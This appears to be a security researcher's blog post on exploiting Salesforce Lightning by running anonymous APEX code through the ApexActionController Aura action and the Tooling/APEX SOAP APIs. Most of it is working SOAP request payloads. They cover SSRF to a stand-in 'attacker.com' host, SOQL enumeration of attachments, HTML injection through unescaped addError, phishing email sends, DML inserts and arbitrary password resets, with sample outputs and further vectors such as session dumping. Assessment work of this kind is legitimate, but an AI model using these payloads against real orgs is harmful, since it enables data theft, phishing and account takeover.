Salesforce Lightning exploitation through direct APEX execution
How direct APEX execution can lead to SSRF, data enumeration, XSS, phishing and more.
About Salesforce Lightning and APEX
I have already written a short introduction about Salesforce Lightning in a previous post , where I talked about the debug feature which can be enabled on the current user.
I am currently doing some interesting researches about new exploitation approaches and security assessments techniques against this technology.
To sum up and provide context for this post, Salesforce Lightning is a CRM solution, using Aura components (group of controller/methods) which can use APEX (a server-side langage, which is like
Java
). The Aura component can be called the way I described in my previous post (inmessage
attribute), I will not detail again this part.
Discovery of components and services
There is a lot of controllers and services, a lot are undocumented.
Two of them were very interesting to my eyes:
Component | Method | Authentication | Comment | Docs |
---|---|---|---|---|
ApexActionController Aura component | aura://ApexActionController/ACTION$execute | Not mandatory | Not officially documented. Limited. | - |
Tooling & APEX API | executeAnonymous | Mandatory | Documented. Limitation through internal permissions. | APEX API, Tooling API |
These are mentionned in some places:
- Salesforce Lightning - An in-depth look at exploitation vectors for the everyday community
- How I Automated My Vaccine Appointment Search
- Running Apex Code through ExecuteAnonymous API
- Salesforce Tooling API
- An old tool I did not test Anonymous-Apex-Executer
- https://www.fishofprey.com/
ApexActionController.execute
Although the authentication is not (always) mandatory, this component is the less interesting one because the most restricted one I thought.
To use it, the message
should include these attributes in params
section:
namespace
: the APEX namespace.classname
: the APEX classname.method
: the APEX method.params
: the JSON containing the parameters of the method, if any.cacheable
: set tofalse
.isContinuation
: set tofalse
.
How to find the correct values? With the APEX reference (the documentation is quite heavy, I didn't explore all possibilities (yet π€‘)), or from recon/knowing the tested solution.
Example action
message={"actions":[{"id":"209;a","descriptor":"aura://ApexActionController/ACTION$execute","callingDescriptor":"UNKNOWN","params":{"namespace":"Wave","classname":"Templates","method":"getTemplates","cacheable":false,"isContinuation":false}}]}
Result:
"actions":[{"id":"209;a","state":"ERROR","returnValue":{"cacheable":true},"error":[{"exceptionType":"System.StringException","isUserDefinedException":false,"message":"This feature is not currently enabled for this user type or org: [Wave]","stackTrace":"(System Code)"}]}]
Right here, we can see that permissions restricted the execution against this namespace (Wave).
In the absence of permissions, I could list templates defined in Salesforce Lightning through APEX Wave namespace.
In fact, I did not found very interesting data by using this controller. But I think it is the best one to fuzz against custom controller and methods defined in the Salesforce Lightning scope.
Tooling API
Unfortunately, I did not had the privileges to use the tooling API. But bellow some hints for usage.
SOAP
Here it is an example to send on endpoint /services/Soap/T/59.0
:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="urn:tooling.soap.sforce.com">
<soapenv:Header>
<apex:SessionHeader>
<apex:sessionId>00Db0000000Jt(... REDACTED ...)</apex:sessionId>
</apex:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<apex:executeAnonymous>
<apex:String>APEX CODE</apex:String>
</apex:executeAnonymous>
</soapenv:Body>
</soapenv:Envelope>
REST
The endpoint is: /services/data/v59.0/tooling/executeanonymous?apexcode=APEX_CODE
.
You need an Authorization: Bearer
HTTP with your session ID (sid
).
APEX API
You need a valid authentication to use this service.
Note: the current user will inject its own context and privileges through the APEX execution flow (Sharing rules). So, privileges in place (if correctly implemented and enabled) can block the execution or some data manipulations.
Basic example
If enabled, a GET on the endpoint /services/Soap/s/59.0
(replace 59.0
with the actual used version) should have a response like HTTP/2 405 Method Not Allowed
.
The following HTTP headers have to be set:
Soapaction: blank
Content-Type: text/xml
Example of SOAP XML request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
<soapenv:Header>
<apex:DebuggingHeader>
<apex:categories>
<apex:category>Apex_code</apex:category>
<apex:level>DEBUG</apex:level>
</apex:categories>
<apex:debugLevel>NONE</apex:debugLevel>
</apex:DebuggingHeader>
<apex:SessionHeader>
<apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
</apex:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<apex:executeAnonymous>
<apex:String>
String s = 'Hello world!';
System.debug(s);
</apex:String>
</apex:executeAnonymous>
</soapenv:Body>
</soapenv:Envelope>
- The value of
<apex:sessionId>
is thesid
cookie. - The log level has been set to
<apex:level>DEBUG</apex:level>
- The executed code in between
<apex:String>
tags, inside the<apex:executeAnonymous>
function call. This code has to be written in APEX.
The result is:
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns="http://soap.sforce.com/2006/08/apex" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Header><DebuggingInfo><debugLog>59.0 APEX_CODE,DEBUG
Execute Anonymous: String s = 'Hello world!';
Execute Anonymous: System.debug(s);
12:37:19.18 (18626819)|USER_INFO|[EXTERNAL]|005(...REDACTED...)|(...REDACTED...)|(GMT+01:00) Central European Standard Time (Europe/Paris)|GMT+01:00
12:37:19.18 (18659594)|EXECUTION_STARTED
12:37:19.18 (18670978)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
12:37:19.18 (19237675)|USER_DEBUG|[2]|DEBUG|Hello world!
12:37:19.18 (19357532)|CODE_UNIT_FINISHED|execute_anonymous_apex
12:37:19.18 (19366863)|EXECUTION_FINISHED
</debugLog></DebuggingInfo></soapenv:Header><soapenv:Body><executeAnonymousResponse><result><column>-1</column><compileProblem xsi:nil="true"/><compiled>true</compiled><exceptionMessage xsi:nil="true"/><exceptionStackTrace xsi:nil="true"/><line>-1</line><success>true</success></result></executeAnonymousResponse></soapenv:Body></soapenv:Envelope>
After the CODE_UNIT_STARTED
, we can see the correct execution of the code, which is a simple logging action (thanks to the System class, in System namespace, and debug method).
Advanced examples with security impacts
The is the main question: how the security of the solution is impacted through the execution of APEX anonymous block?
There is no positive or negative answer. It depends on the settings. I will provide some examples.
You can read more about Anonymous APEX blocks in Salesforce documentation. It is said:
To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the org, users must have the Author Apex permission. For users who donβt have the Author Apex permission, the API allows restricted execution of anonymous Apex. This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the API, but not in the Developer Console. Such users are allowed to run the following in an anonymous block.
π Important notice about log
We will use of System.debug() call to display the information. There is a daily limit attached to the organization. If exhausted, a message This org has reached its daily usage limit of apex log headers.
will be displayed and the method will uncallable. See also https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_debugging_debug_log.htm about the limit conditions.
DebuggingHeader
configuration:
<apex:category>
: can be any ofApex_code,Apex_profiling,Workflow,Validation,Callout,Visualforce,System,NBA
<apex:level>
and<apex:debugLevel>
: can be any ofNONE,ERROR,WARN,INFO,DEBUG,FINE,FINER,FINEST
SSRF vector
If you have access to System.Http, System.HttpRequest and System.HttpResponse and there is a misconfiguration in Setup->Security->Remote site settings of Salesforce, so SSRF can be executed in APEX.
Example:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
<soapenv:Header>
<apex:DebuggingHeader>
<apex:categories>
<apex:category>Apex_code</apex:category>
<apex:level>DEBUG</apex:level>
</apex:categories>
<apex:debugLevel>NONE</apex:debugLevel>
</apex:DebuggingHeader>
<apex:SessionHeader>
<apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
</apex:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<apex:executeAnonymous>
<apex:String>
HttpRequest req = new HttpRequest();
req.setEndpoint('https://attacker.com/');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
for (String h : res.getHeaderKeys()) {
System.debug(h + ':' + res.getHeader(h));
}
System.debug(res.getBody());
</apex:String>
</apex:executeAnonymous>
</soapenv:Body>
</soapenv:Envelope>
Arbitrary object manipulation through SOQL
Instead of searching for SQL/SOQL injection, why not directly doing complete SOQL queries?
It is especially usefull when you encountered the error OPERATION_TOO_LARGE: exceeded 100000 distinct ids
π.
SOQL is a kind of sublangage in APEX, standing for Salesforce Object Query Language, in order to insert, update or delete data.
Example of selection
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
<soapenv:Header>
<apex:DebuggingHeader>
<apex:categories>
<apex:category>Apex_code</apex:category>
<apex:level>DEBUG</apex:level>
</apex:categories>
<apex:debugLevel>NONE</apex:debugLevel>
</apex:DebuggingHeader>
<apex:SessionHeader>
<apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
</apex:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<apex:executeAnonymous>
<apex:String>
DateTime someDate = DateTime.newInstance(2022, 1, 1, 0, 0, 0);
List<Attachment> items = [SELECT Id, Name FROM Attachment WherE CreatedDate > :someDate];
for (Attachment i : items) {
System.debug('ID: ' + i.Id);
}</apex:String>
</apex:executeAnonymous>
</soapenv:Body>
</soapenv:Envelope>
Example of output:
13:50:36.25 (25281683)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
13:50:37.672 (1672192393)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672274250)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672323214)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672352228)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672377415)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672403438)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672437436)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672461787)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
SOQL queries are executed in the SYSTEM_MODE
. Maybe the usage of the keywords WITH SYSTEM_MODE
could be interesting ...
For example, these requests could retrieve different results:
List<Account> acc = [SELECT Id FROM Account WITH USER_MODE];
List<Account> acc = [SELECT Id FROM Account WITH SYSTEM_MODE];
XSS / HTML injection vector
There is a method in APEX which can render HTML in errors messages. It is located in System.Id class, on addError(errorMsg, escape) method. There is also a warning about this feature in the documentation:
The usage is unclear, but you need to find or create one or several object, to add error.
Example with pre-selection from SOQL query:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
<soapenv:Header>
<apex:DebuggingHeader>
<apex:categories>
<apex:category>Apex_code</apex:category>
<apex:level>DEBUG</apex:level>
</apex:categories>
<apex:debugLevel>NONE</apex:debugLevel>
</apex:DebuggingHeader>
<apex:SessionHeader>
<apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
</apex:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<apex:executeAnonymous>
<apex:String>
List<ContentVersion> items = [SELECT Id FROM ContentVersion];
for (ContentVersion i : items) {
i.addError('<b>Hello world</b>', false);
}
</apex:String>
</apex:executeAnonymous>
</soapenv:Body>
</soapenv:Envelope>
If not possible, you will have an error like System.FinalException: SObject row does not allow errors
.
It can also be used on fields through System.SObject class.
Arbitrary mail send / phishing
How about sending emails through the solution? Let's go!
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
<soapenv:Header>
<apex:DebuggingHeader>
<apex:categories>
<apex:category>Apex_code</apex:category>
<apex:level>DEBUG</apex:level>
</apex:categories>
<apex:debugLevel>NONE</apex:debugLevel>
</apex:DebuggingHeader>
<apex:SessionHeader>
<apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
</apex:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<apex:executeAnonymous>
<apex:String>
Messaging.SingleEmailMessage e = new Messaging.SingleEmailMessage();
e.setHtmlBody('Subject of the mail');
e.setSubject('Oops ...');
e.setToAddresses(new String[]{'victim@whatever.com'});
Messaging.sendEmail(new Messaging.SingleEmailMessage[]{e});
</apex:String>
</apex:executeAnonymous>
</soapenv:Body>
</soapenv:Envelope>
If privileges are required, you will have an error like:
16:14:52.21 (98133117)|EXCEPTION_THROWN|[6]|System.EmailException: SendEmail failed. First exception on row 0; first error: INSUFFICIENT_ACCESS_OR_READONLY, User doesn't have right privileges to send single email: [] 16:14:52.21 (99128753)|FATAL_ERROR|System.EmailException: SendEmail failed. First exception on row 0; first error: INSUFFICIENT_ACCESS_OR_READONLY, User doesn't have right privileges to send single email: []
Arbitrary object manipulation through DML
DML is another kind of sublangage in APEX, standing for Data Manipulation Langage, in order to insert, update or delete data.
Example of insertion
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
<soapenv:Header>
<apex:DebuggingHeader>
<apex:categories>
<apex:category>Apex_code</apex:category>
<apex:level>DEBUG</apex:level>
</apex:categories>
<apex:debugLevel>NONE</apex:debugLevel>
</apex:DebuggingHeader>
<apex:SessionHeader>
<apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
</apex:SessionHeader>
</soapenv:Header>
<soapenv:Body>
<apex:executeAnonymous>
<apex:String>
Account newAccount = new Account();
insert newAccount;
</apex:String>
</apex:executeAnonymous>
</soapenv:Body>
</soapenv:Envelope>
A lot of object type can exist (thousands ...), a fuzzing against these operation can be prolific π (But beware of System.Debug limits!).
In case of permissions gate, you will have an error like: DML operation Insert not allowed on Account
.
Arbitrary password reset with/without arbitrary mail send
References:
There are some warnings like "Be careful with this method, and do not expose this functionality to end-users".
You could send mail or reset password of any user, if you know its ID. Nice uh? π‘
In case of restriction, you will get the error System.InvalidParameterValueException: INSUFFICIENT_ACCESS: Unable to set/reset password, you do not have sufficient permissions to complete this operation
.
Other attack vectors to explore & conclusion
I didn't have the privileges to explore or to find a correct exploit with some other classes/methods, but feel free to explore them by yourself (and share!):
- The
Cache.Session
class, to dump sessions. - The
Messaging.MassEmailMessage
for ... mass-mailing. - The
DataWeave.Script
class for DataWeaver script. - The
System.schedule
method for scheduling internal jobs. - The
Dom.Document
to manipulate XML (yes, I tried XXE - does not work :)) - The
Messaging.renderEmailTemplate
to render template (I tried to abuse directives and built-in variables, but without success). - The
Metadata.CustomMetadata
, where "Public custom metadata types are readable for all profiles, including the guest user" - The
System.FeatureManagement.changeProtection
for update permissions. - ...
Salesforce Lightning is a complex solution to secure: permissions on objects, fields, controllers ... with a vast API landscape.
I hope this article will be useful for your Salesforce Lightning security assessment!
(Happy Hacking! π)